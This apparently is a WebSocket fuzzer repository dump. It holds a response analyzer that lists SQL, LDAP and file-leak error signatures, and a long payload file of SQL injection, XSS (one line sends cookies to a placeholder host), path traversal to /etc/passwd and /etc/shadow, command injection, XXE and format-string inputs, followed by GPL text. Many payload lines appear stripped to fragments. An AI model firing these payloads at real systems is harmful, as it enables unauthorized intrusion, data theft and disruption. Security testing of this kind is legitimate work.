-------------------------------------------------------------------------------- /websocket_fuzzer/analysis/response_analyzer.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | INTERESTING_THINGS = ('error', 4 | 'exception', 5 | 'sql', 6 | 'xml', 7 | 'ldap', 8 | 'root:x:', 9 | 'root:!:', 10 | 'daemon:', 11 | 'bytes from 127.0.0.1', 12 | 'trace', 13 | 'groups=', 14 | '%p.%p.%p', 15 | 'drwxrwxr', 16 | 'backtrace', 17 | 'memory map', 18 | 19 | # Not sure which lang or LDAP engine 20 | 'supplied argument is not a valid ldap', 21 | 22 | # Java 23 | 'javax.naming.NameNotFoundException', 24 | 'LDAPException', 25 | 'com.sun.jndi.ldap', 26 | 27 | # PHP 28 | 'Bad search filter', 29 | 30 | # http://support.microsoft.com/kb/218185 31 | 'Protocol error occurred', 32 | 'Size limit has exceeded', 33 | 'An inappropriate matching occurred', 34 | 'A constraint violation occurred', 35 | 'The syntax is invalid', 36 | 'Object does not exist', 37 | 'The alias is invalid', 38 | 'The distinguished name has an invalid syntax', 39 | 'The server does not handle directory requests', 40 | 'There was a naming violation', 41 | 'There was an object class violation', 42 | 'Results returned are too large', 43 | 'Unknown error occurred', 44 | 'Local error occurred', 45 | 'The search filter is incorrect', 46 | 'The search filter is invalid', 47 | 'The search filter cannot be recognized', 48 | 49 | # OpenLDAP 50 | 'Invalid DN syntax', 51 | 'No Such Object', 52 | 53 | # IPWorks LDAP 54 | # http://www.tisc-insight.com/newsletters/58.html 55 | 'IPWorksASP.LDAP', 56 | 57 | # https://entrack.enfoldsystems.com/browse/SERVERPUB-350 58 | 'Module Products.LDAPMultiPlugins', 59 | 60 | 'java.io.FileNotFoundException:', 61 | 'java.lang.Exception:', 62 | 'java.lang.IllegalArgumentException:', 63 | 'java.net.MalformedURLException:', 64 | 65 | # PHP 66 | 'fread\\(\\):', 67 | 'for inclusion \'\\(include_path=', 68 | 'Failed opening required', 69 | 'Warning: file\\(', 70 | 'Warning: file_get_contents\\(', 71 | 'open_basedir restriction in effect', 72 | 73 | # ASP / MSSQL 74 | 'System.Data.OleDb.OleDbException', 75 | '[SQL Server]', 76 | '[Microsoft][ODBC SQL Server Driver]', 77 | '[SQLServer JDBC Driver]', 78 | '[SqlException', 79 | 'System.Data.SqlClient.SqlException', 80 | 'Unclosed quotation mark after the character string', 81 | "'80040e14'", 82 | 'mssql_query()', 83 | 'odbc_exec()', 84 | 'Microsoft OLE DB Provider for ODBC Drivers', 85 | 'Microsoft OLE DB Provider for SQL Server', 86 | 'Incorrect syntax near', 87 | 'Sintaxis incorrecta cerca de', 88 | 'Syntax error in string in query expression', 89 | 'ADODB.Field (0x800A0BCD)
', 90 | "ADODB.Recordset'", 91 | "Unclosed quotation mark before the character string", 92 | "'80040e07'", 93 | 'Microsoft SQL Native Client error', 94 | 'SQL Server Native Client', 95 | 'Invalid SQL statement', 96 | 97 | # DB2 98 | 'SQLCODE', 99 | 'DB2 SQL error:', 100 | 'SQLSTATE', 101 | '[CLI Driver]', 102 | '[DB2/6000]', 103 | 104 | # Sybase 105 | "Sybase message:", 106 | "Sybase Driver", 107 | "[SYBASE]", 108 | 109 | # Access 110 | 'Syntax error in query expression', 111 | 'Data type mismatch in criteria expression.', 112 | 'Microsoft JET Database Engine', 113 | '[Microsoft][ODBC Microsoft Access Driver]', 114 | 115 | # ORACLE 116 | 'Microsoft OLE DB Provider for Oracle', 117 | 'wrong number or types', 118 | 119 | # POSTGRE 120 | 'PostgreSQL query failed:', 121 | 'supplied argument is not a valid PostgreSQL result', 122 | 'unterminated quoted string at or near', 123 | 'pg_query() [:', 124 | 'pg_exec() [:', 125 | 126 | # MYSQL 127 | 'supplied argument is not a valid MySQL', 128 | 'Column count doesn\'t match value count at row', 129 | 'mysql_fetch_array()', 130 | 'mysql_', 131 | 'on MySQL result index', 132 | 'You have an error in your SQL syntax;', 133 | 'You have an error in your SQL syntax near', 134 | 'MySQL server version for the right syntax to use', 135 | 'Division by zero in', 136 | 'not a valid MySQL result', 137 | '[MySQL][ODBC', 138 | "Column count doesn't match", 139 | "the used select statements have different number of columns", 140 | "DBD::mysql::st execute failed", 141 | "DBD::mysql::db do failed:", 142 | 143 | # Informix 144 | 'com.informix.jdbc', 145 | 'Dynamic Page Generation Error:', 146 | 'An illegal character has been found in the statement', 147 | '[Informix]', 148 | 'Warning: ibase_', 149 | 'Dynamic SQL Error', 150 | 151 | # DML 152 | '[DM_QUERY_E_SYNTAX]', 153 | 'has occurred in the vicinity of:', 154 | 'A Parser Error (syntax error)', 155 | 156 | # Java 157 | 'java.sql.SQLException', 158 | 'Unexpected end of command in statement', 159 | 160 | # Coldfusion 161 | '[Macromedia][SQLServer JDBC Driver]', 162 | 163 | # SQLite 164 | 'could not prepare statement', 165 | 166 | # Generic errors.. 167 | 'Unknown column', 168 | 'where clause', 169 | 'SqlServer', 170 | 'syntax error', 171 | 'Microsoft OLE DB Provider', 172 | 173 | # Certs! 174 | '-----BEGIN CERTIFICATE-----', 175 | '-----BEGIN RSA PRIVATE KEY-----' 176 | ) 177 | 178 | 179 | def reverse_len(a, b): 180 | return cmp(len(b), len(a)) 181 | 182 | 183 | INTERESTING_THINGS = [it.lower() for it in INTERESTING_THINGS] 184 | INTERESTING_THINGS.sort(reverse_len) 185 | INTERESTING_THINGS = set(INTERESTING_THINGS) 186 | 187 | 188 | def analyze_response(message, ignore_errors): 189 | """ 190 | Receives a message and tries to identify interesting things in them. 191 | 192 | :param message: The message received by the websocket server 193 | :return: None, we just print interesting things to output using logging 194 | """ 195 | message = message.lower() 196 | 197 | for ignore in ignore_errors: 198 | if ignore in message: 199 | return False 200 | 201 | for it in INTERESTING_THINGS: 202 | if it in message: 203 | return True 204 | 205 | return False 206 | -------------------------------------------------------------------------------- /websocket_fuzzer/payloads/payloads.txt: -------------------------------------------------------------------------------- 1 | 2 | ! 3 | !' 4 | !@#$%%^#$%#$@#$%$$@#$%^^**(() 5 | !@#0%^#0##018387@#0^^**(() 6 | " 7 | " or "a"="a 8 | " or "x"="x 9 | " or 0=0 # 10 | " or 0=0 -- 11 | " or 1=1 or ""=" 12 | " or 1=1-- 13 | "' or 1 --'" 14 | ") or ("a"="a 15 | "]>&xxe;" 16 | "]>&xxe;" 17 | "" 18 | "SCRIPT]]>alert('XSS');/SCRIPT]]>" 19 | "XSS" 20 | "cript:alert('XSS')"">" 21 | "]]>" 22 | "> 24 | "> 25 | ">xxx

yyy 26 | "\t" 27 | # 28 | #' 29 | #' 30 | #xA 31 | #xA#xD 32 | #xD 33 | #xD#xA 34 | $NULL 35 | $null 36 | % 37 | %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%% 38 | %00 39 | %00../../../../../../etc/passwd 40 | %00../../../../../../etc/shadow 41 | %00/ 42 | %00/etc/passwd%00 43 | %01%02%03%04%0a%0d%0aADSF 44 | %08x 45 | %0A/usr/bin/id 46 | %0A/usr/bin/id%0A 47 | %0Aid 48 | %0Aid%0A 49 | %0a ping -i 30 127.0.0.1 %0a 50 | %oa ping -n 30 127.0.0.1 %0a 51 | %0a id %0a 52 | %0aDATA%0afoo%0a%2e%0aMAIL+FROM:+%0aRCPT+TO:+%0aDATA%0aFrom:+%0aTo:+%0aSubject:+tst%0afoo%0a%2e%0a 53 | %0d 54 | %0d%0aDATA%0d%0afoo%0d%0a%2e%0d%0aMAIL+FROM:+%0d%0aRCPT+TO:+%0d%0aDATA%0d%0aFrom:+%0d%0aTo:+%0d%0aSubject:+test%0d%0afoo%0d%0a%2e%0d%0a 55 | %0d%0aX-Injection-Header:%20AttackValue 56 | %20 57 | %20$(sleep%2050) 58 | %20'sleep%2050' 59 | %20d 60 | %20n 61 | %20s 62 | %20x 63 | %20| 64 | %21 65 | %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E 66 | %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..% 25%5c..%25%5c..%255cboot.ini 67 | %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..% 25%5c..%25%5c..%00 68 | %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00 69 | %2500 70 | %250a 71 | %26 72 | %27%20or%201=1 73 | %28 74 | %29 75 | %2A 76 | %2A%28%7C%28mail%3D%2A%29%29 77 | %2A%28%7C%28objectclass%3D%2A%29%29 78 | %2A%7C 79 | %2C 80 | %2e%2e%2f 81 | %3C 82 | %3C%3F 83 | %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E 84 | %3cscript%3ealert("XSS");%3c/script%3e 85 | %3cscript%3ealert(document.cookie);%3c%2fscript%3e 86 | %5C 87 | %5C/ 88 | %60 89 | %7C 90 | %7f 91 | %99999999999s 92 | %A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A 93 | %E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E 94 | %F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F 95 | %G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G 96 | %X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X 97 | %a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a 98 | %d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d 99 | %e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e 100 | %f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f 101 | %ff 102 | %g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g 103 | %i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i 104 | %o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o 105 | %p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p 106 | %s%p%x%d 107 | %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s 108 | %u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u 109 | %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x 110 | & 111 | & id 112 | & ping -i 30 127.0.0.1 & 113 | & ping -n 30 127.0.0.1 & 114 | < 115 | < 116 | < 117 | < 118 | < 119 | < 120 | < 121 | < 122 | < 123 | < 124 | 125 | 126 | 127 | 128 | < 129 | < 130 | < 131 | < 132 | < 133 | < 134 | < 135 | < 136 | < 137 | < 138 | < 139 | < 140 | < 141 | < 142 | < 143 | < 144 | < 145 | < 146 | < 147 | < 148 | < 149 | < 150 | < 151 | < 152 | < 153 | < 154 | < 155 | < 156 | < 157 | < 158 | < 159 | < 160 | < 161 | < 162 | < 163 | < 164 | < 165 | < 166 | < 167 | < 168 | < 169 | < 170 | < 171 | < 172 | < 173 | < 174 | < 175 | < 176 | < 177 | < 178 | < 179 | < 180 | ' 181 | '%20OR 182 | &id 183 | < 184 | < 185 | <!--#exec%20cmd="/bin/cat%20/etc/passwd"--> 186 | <!--#exec%20cmd="/bin/cat%20/etc/shadow"--> 187 | <!--#exec%20cmd="/usr/bin/id;--> 188 | <>"'%;)(&+ 189 | <script>alert(document.cookie);<script>alert 190 | <script>alert(document.cookie); 191 | ";id" 192 | ' 193 | ' (select top 1 194 | ' -- 195 | ' ; 196 | ' UNION ALL SELECT 197 | ' UNION SELECT 198 | ' or ''=' 199 | ' or '1'='1 200 | ' or '1'='1'-- 201 | ' or 'x'='x 202 | ' or (EXISTS) 203 | ' or 0=0 # 204 | ' or 0=0 -- 205 | ' or 1 in (@@version)-- 206 | ' or 1=1 or ''=' 207 | ' or 1=1-- 208 | ' or a=a-- 209 | ' or uid like '% 210 | ' or uname like '% 211 | ' or user like '% 212 | ' or userid like '% 213 | ' or username like '% 214 | '%20or%201=1 215 | '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E 216 | '';!--"=&{()} 217 | ') or ('a'='a 218 | '-- 219 | '; exec master..xp_cmdshell 220 | '; exec xp_regread 221 | '; waitfor delay '0:30:0'-- 222 | ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//>!--=&{} 223 | ';shutdown-- 224 | '> 225 | '> 226 | 'hi' or 'x'='x'; 227 | 'or select * 228 | 'sqlattempt1 229 | '||UTL_HTTP.REQUEST 230 | '||Utl_Http.request('http://') from dual-- 231 | ( 232 | (') 233 | (sqlattempt2) 234 | ) 235 | )))))))))) 236 | * 237 | *' 238 | *' 239 | *(|(mail=*)) 240 | *(|(objectclass=*)) 241 | */* 242 | *| 243 | + 244 | +%00 245 | ,@variable 246 | - 247 | -- 248 | --'; 249 | --sp_password 250 | -1 251 | -1.0 252 | -2 253 | -20 254 | -268435455 255 | ..%%35%63 256 | ..%%35c 257 | ..%25%35%63 258 | ..%255c 259 | ..%5c 260 | ..%bg%qf 261 | ..%c0%af 262 | ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini 263 | ..%u2215 264 | ..%u2216 265 | ../ 266 | ../../../../../../../../../../../../etc/hosts 267 | ../../../../../../../../../../../../etc/hosts%00 268 | ../../../../../../../../../../../../etc/passwd 269 | ../../../../../../../../../../../../etc/passwd%00 270 | ../../../../../../../../../../../../etc/shadow 271 | ../../../../../../../../../../../../etc/shadow%00 272 | ..\ 273 | ..\..\..\..\..\..\..\..\..\..\etc\passwd 274 | ..\..\..\..\..\..\..\..\..\..\etc\passwd%00 275 | ..\..\..\..\..\..\..\..\..\..\etc\shadow 276 | ..\..\..\..\..\..\..\..\..\..\etc\shadow%00 277 | .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd 278 | .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow 279 | / 280 | /%00/ 281 | /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00 282 | /%2A 283 | /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd 284 | /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow 285 | /' 286 | /' 287 | /,%ENV,/ 288 | /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd 289 | /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow 290 | /.../.../.../.../.../ 291 | /../../../../../../../../%2A 292 | /../../../../../../../../../../../etc/passwd%00.html 293 | /../../../../../../../../../../../etc/passwd%00.jpg 294 | /../../../../../../../../../../etc/passwd 295 | /../../../../../../../../../../etc/passwd^^ 296 | /../../../../../../../../../../etc/shadow 297 | /../../../../../../../../../../etc/shadow^^ 298 | /../../../../../../../../bin/id| 299 | /..\../..\../..\../..\../..\../..\../boot.ini 300 | /..\../..\../..\../..\../..\../..\../etc/passwd 301 | /..\../..\../..\../..\../..\../..\../etc/shadow 302 | /./././././././././././etc/passwd 303 | /./././././././././././etc/shadow 304 | // 305 | //* 306 | /etc/passwd 307 | /etc/shadow 308 | /index.html|id| 309 | 0 310 | 0 or 1=1 311 | 00 312 | 0xfffffff 313 | 1 314 | 1 or 1 in (@@version)-- 315 | 1 or 1=1-- 316 | 1.0 317 | 1; waitfor delay '0:30:0'-- 318 | 1;SELECT%20* 319 | 1||Utl_Http.request('http://') from dual-- 320 | 2 321 | 2147483647 322 | 268435455 323 | 65536 324 | :response.write 111111 325 | ; 326 | ; ping 127.0.0.1 ; 327 | ;/usr/bin/id\n 328 | ;echo 111111 329 | ;id 330 | ;id; 331 | ;id\n 332 | ;id| 333 | ;ls -la 334 | ;system('/usr/bin/id') 335 | ;system('cat%20/etc/passwd') 336 | ;system('id') 337 | ;|/usr/bin/id| 338 | < 339 | < script > < / script> 340 | SCRIPT]]>alert('XSS');/SCRIPT]]> 342 | var n=0;while(true){n++;}]]> 343 | 344 | << 345 | <<< 346 | < 347 | <>"'%;)(&+ 348 | ]>&xxe; 350 | ]>&xxe; 351 | ]>&xxe; 352 | ]>&xxe; 353 | 354 | SCRIPT]]>alert('XSS');/SCRIPT]]> 355 | XSS 356 | "> 357 | 358 | 359 | 360 | 361 | 362 | 363 | 364 | 366 | 367 | 368 | 369 | 370 | 371 | 372 | 373 | 374 | 375 | 376 | 377 | 378 | ','')); phpinfo(); exit;/* 379 | 380 | 381 | <IMG SRC="javascript:alert('XSS')"> 382 | ]]> 383 | 384 | 385 | %0aBcc: 386 | %0aCc: 387 | %0d%0aBcc: 388 | %0d%0aCc: 389 | = 390 | =' 391 | =-- 392 | =; 393 | > 394 | ?x= 395 | ?x=" 396 | ?x=> 397 | ?x=| 398 | @' 399 | @' 400 | @* 401 | @variable 402 | A 403 | ABCD|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x| 404 | FALSE 405 | NULL 406 | PRINT 407 | PRINT @@variable 408 | TRUE 409 | XXXXX.%p 410 | XXXXX`perl -e 'print ".%p" x 80'` 411 | ['] 412 | ['] 413 | \ 414 | \";alert('XSS');// 415 | \"blah 416 | \' 417 | \' 418 | \..\..\..\..\..\..\..\..\..\..\etc\passwd 419 | \..\..\..\..\..\..\..\..\..\..\etc\passwd%00 420 | \..\..\..\..\..\..\..\..\..\..\etc\shadow 421 | \..\..\..\..\..\..\..\..\..\..\etc\shadow%00 422 | \0 423 | \00 424 | \00\00 425 | \00\00\00 426 | \0\0 427 | \0\0\0 428 | \\ 429 | \\'/bin/cat%20/etc/passwd\\' 430 | \\'/bin/cat%20/etc/shadow\\' 431 | \\/ 432 | \\\\* 433 | \\\\?\\ 434 | \n/bin/ls -al\n 435 | \n/usr/bin/id; 436 | \n/usr/bin/id\n 437 | \n/usr/bin/id| 438 | \nid; 439 | \nid\n 440 | \nid| 441 | \nnetstat -a%\n 442 | \t 443 | \u003C 444 | \u003c 445 | \x23 446 | \x27 447 | \x27UNION SELECT 448 | \x27\x4F\x52 SELECT * 449 | \x27\x6F\x72 SELECT * 450 | \x3C 451 | \x3D \x27 452 | \x3D \x3B' 453 | \x3c 454 | ^' 455 | ^' 456 | ` 457 | `/usr/bin/id` 458 | `dir` 459 | `id` 460 | `perl -e 'print ".%p" x 80'`%n 461 | `ping 127.0.0.1` 462 | a);/usr/bin/id 463 | a);/usr/bin/id; 464 | a);/usr/bin/id| 465 | a);id 466 | a);id; 467 | a);id| 468 | a)|/usr/bin/id 469 | a)|/usr/bin/id; 470 | a)|id 471 | a)|id; 472 | a;/usr/bin/id 473 | a;/usr/bin/id; 474 | a;/usr/bin/id| 475 | a;id 476 | a;id; 477 | a;id| 478 | http:/// 479 | id%00 480 | id%00| 481 | insert 482 | like 483 | limit 484 | null 485 | or 486 | or 0=0 # 487 | or 0=0 -- 488 | or 1=1-- 489 | or%201=1 490 | or%201=1 -- 491 | response.write 111111 492 | something%00html 493 | update 494 | x' or 1=1 or 'x'='y 495 | x' or name()='username' or 'x'='y 496 | xsstest 497 | xsstest%00"<>' 498 | {'} 499 | |/usr/bin/id 500 | |/usr/bin/id| 501 | |id 502 | |id; 503 | |id| 504 | |ls 505 | |ls -la 506 | |nid\n 507 | |usr/bin/id\n 508 | || 509 | || ping -i 30 127.0.0.1 ; x || ping -n 30 127.0.0.1 & 510 | ||/usr/bin/id; 511 | ||/usr/bin/id| 512 | } 513 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 514 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 515 | 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516 | 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-------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You 